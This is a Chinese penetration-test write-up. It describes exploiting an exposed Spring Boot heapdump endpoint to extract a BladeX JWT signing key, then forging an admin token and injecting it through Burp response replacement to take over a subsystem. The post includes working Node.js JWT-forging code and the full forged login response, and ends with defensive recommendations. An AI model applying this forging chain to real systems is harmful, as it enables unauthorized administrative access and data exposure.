文章总结: 该文档记录了一次渗透测试实战,通过目标官网暴露的SpringBootActuator端点下载heapdump内存快照,分析提取到BladeX网关的JWT签名密钥和内网配置信息。攻击者利用对称签名机制伪造admin权限token,并通过Burp代理替换登录响应绕过认证,最终劫持ai子系统获得最高权限。文档总结了heapdump泄露风险、JWT安全缺陷及响应替换手法的防御建议。 综合评分: 85 文章分类: 渗透测试,漏洞分析,实战经验,WEB安全,红队
一次官网Heapdump泄露,拿下二级子域名ai系统
原创
tangkaixing tangkaixing
开心网安
2026年6月26日 11:41 重庆
在小说阅读器读本章
去阅读
免责声明
由于传播、利用本公众号开心网安所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号开心网安及作者不为此承担任何责任,一旦造成后果请自行承担!如需要转载等,请标注文章来源。如有侵权烦请告知,我们会立即删除并致歉,谢谢!
#
概述
某次渗透测试中,偶然发现目标官网域名下 target.com 的 Spring Boot Actuator 端点对外暴露,其中 /actuator/heapdump 可直接下载完整的 JVM 内存快照。通过分析 heapdump,提取到 Blade Gateway 的 JWT 签名密钥,进而伪造 admin Token 完成对 ai.target.com 的登录劫持,最终获得系统最高权限。完全基于信息泄露链的逐步放大,一条线穿到底。
一、入口 -Actuator Heapdump 泄露
1.1 发现
在对目标进行信息收集时,发现其官网 https://target.com 下挂载了 Spring Boot 管理端点:
GET /xxx/actuator/heapdump → 200 OKContent-Type: application/octet-streamContent-Length: ~280MB
返回的是一个完整的JVM Heap Dump二进制文件(.hprof格式),可通过 EclipseMAT或JDK自带的jhat进行分析或者工具JDumpSpiderGUI。
1.2 关键发现预览
在heapdump中检索spring.application.name,确认为 blade-gateway 整个微服务体系的总入口网关。
heapdump 中包含了网关运行时的全部配置对象,包括但不限于:
- Spring Cloud Gateway 路由规则
- Nacos 注册中心连接信息
- Redis/数据库连接池
- BladeX 安全框架的全部运行配置
二、提取解读 -heapdump中信息
2.1 定位安全配置
在heapdump检索MutablePropertySources相关属性,BladeX 框架的完整安全配置一览无余。
2.2 JWT 签名密钥
blade.token.sign-key = RPN***PaHXo
BladeX 使用 HMAC-SHA256 对称签名 JWT,持有此密钥即可伪造任意用户的 access_token。
同时提取到的配套密钥:
blade.token.crypto-key = VTE***vDZJblade.secure.sign[0].crypto = sha1
2.3 admin 权限信息
同一份 heapdump 中提取到 admin 用户对应的完整 JWT payload:
{ ”tenant_id”: ”000000”, ”user_name”: ”admin”, ”real_name”: ”管理员”, ”authorities”: [”administrator”,”Group”,”key_work”,”large_screen”,”二级企业”], ”client_id”: ”sab**”, ”role_name”: ”administrator,Group,二级企业,large_screen,key_work”, ”user_id”: ”1123***201”, ”role_id”: ”1123***201,...”, ”scope”: [”all”], ”dept_id”: ”1731***000”, ”account”: ”admin”}
2.4 内网拓扑
spring.cloud.nacos.config.server-addr = 10.x.x.x:8848spring.redis.host = 10.x.x.xoss.endpoint = http://10.x.x.x:9000spring.zipkin.base-url = http://172.x.x.x:9411//泄露数据库、Redis、Nacos、MinIO、Sentinel、Zipkin 全部服务地址以及密码暴露。
2.5 认证绕过白名单
blade.secure.skip-url[37] = /blade-desk/**blade.secure.skip-url[16] = /sms/endpoint/send-validateblade.secure.skip-url[8] = /oauth/logout... # 共38个跳过认证的端点
#
三、验证 -密钥确认与 Token 伪造
3.1 签名密钥验证
heapdump 中同时提取到一个真实的服务端签发 JWT(用户”孙*”,managerService 角色)。用提取的 sign-key 验证其签名:
const crypto = require('crypto'); function verifyJWT(token, key) { const [header, payload, sig] = token.split('.'); const computed = crypto.createHmac('sha256', key) .update(header + '.' + payload) .digest('base64') .replace(/=/g,'').replace(/\+/g,'-').replace(/\//g,'_'); return sig === computed;}
真实 token 签名与 HMAC-SHA256(key) 计算结果完全一致,证实提取到的密钥就是 JWT 的签发密钥。
3.2 伪造 admin Token
确认密钥后,用 Node.js 构造 admin 用户的 JWT,exp 设为远未来时间戳:
function forgeJWT(payload, key) { function b64url(s) { return Buffer.from(s).toString('base64') .replace(/=/g,'').replace(/\+/g,'-').replace(/\//g,'_'); } const h = b64url(JSON.stringify({alg:”HS256”,typ:”JWT”})); const p = b64url(JSON.stringify(payload)); const sig = crypto.createHmac('sha256', key).update(h+'.'+p) .digest('base64').replace(/=/g,'').replace(/\+/g,'-').replace(/\//g,'_'); return h + '.' + p + '.' + sig;} const adminJWT = forgeJWT({ tenant_id: ”000000”, user_name: ”admin”, real_name: ”管理员”, authorities: [”administrator”,”Group”,”key_work”,”large_screen”,”二级企业”], user_id: ”1123***201”, role_id: ”1123***201,...”, scope: [”all”], dept_id: ”1731***000”, account: ”admin”, client_id: ”sab**”, exp: 4070908800 // 2099年}, SIGN_KEY);
四、劫持 -登录响应替换
4.1 目标关联
通过heapdump中的关联配置定位到目标业务系统 http://ai.target.com一个基于 BladeX 的业务管理平台,使用 /#/login 路由。
4.2 攻击方案
由于不知道 admin 密码,无法通过正常登录获取 token。采用 Burp Proxy 响应替换绕过密码验证:
浏览器发起登录请求 ↓服务端返回 400 ”用户名或密码错误” ↓Burp 拦截并替换响应体 ↓注入伪造的 admin token ↓前端接收 → 存储 token → 跳转首页 ✅
4.3 替换的完整响应
在 Burp 中拦截登录失败的响应,替换为:
HTTP/1.1 200 OKContent-Type: application/json;charset=UTF-8Set-Cookie: app-access-token=<FORGED_ADMIN_JWT>; Path=/; HttpOnlySet-Cookie: app-refresh-token=<FORGED_REFRESH_JWT>; Path=/; HttpOnly { ”access_token”: ”<FORGED_ADMIN_JWT>”, ”refresh_token”: ”<FORGED_REFRESH_JWT>”, ”token_type”: ”bearer”, ”expires_in”: 360000, ”scope”: ”all”, ”user_name”: ”admin”, ”real_name”: ”管理员”, ”role_name”: ”administrator,Group,二级企业,large_screen,key_work”, ”user_id”: ”1123***201”, ”authorities”: [”administrator”,”Group”,”key_work”,”large_screen”,”二级企业”], ”dept_id”: ”1731***000”, ”tenant_id”: ”000000”, ”account”: ”admin”, ”client_id”: ”sab**”, ”license”: ”powered by bladex”}
4.4 结果
替换后 Forward:前端无报错,正常存储 token,自动跳转至系统首页,左侧菜单栏完整加载,拥有 admin管理员角色的全部功能入口。成功替换登录。
#
五、总结
官网arl打野收集target.com/gateway/actuator/heapdump (未授权下载) → heapdump 分析提取 blade.token.sign-key → 用真实 token 验证密钥正确性 → 伪造 admin 权限 JWT (HMAC-SHA256) → Burp 拦截 ai.target.com 登录响应 → 注入伪造的 admin token 响应体 → 前端接受 → 存储 token → 成功进入系统
/actuator/heapdump是泄露 — JVM 内存快照包含所有运行时对象,Spring 配置的 PropertySource、Redis 连接池密码、JWT 签名对象全在其中。生产环境必须关闭或限制为内网 IP 白名单。- 对称签名 = 密钥即权限 — BladeX 使用 HMAC-SHA256 对称密钥签发 JWT,持有
sign-key等于持有任意用户的通行证。对称密钥应定期轮换并严格保密。 - JWT 不记名 = 无服务端状态校验 — 只要签名正确,后端不做额外的 token 有效性检查(如是否在签发记录中),这给了伪造 token 可乘之机。
- 响应替换是绕过密码验证的经典手法 — 前端无条件信任服务端返回的 JSON body 和 Set-Cookie,配合 Burp Proxy 可完美绕过密码验证环节。
- 微服务体系需纵深防御 — 网关 heapdump 泄露导致的不只是网关本身,而是整个微服务集群的拓扑、凭据和密钥。每一层都应独立配置安全策略。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:开心网安 tangkaixing tangkaixing《一次官网Heapdump泄露,拿下二级子域名ai系统》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论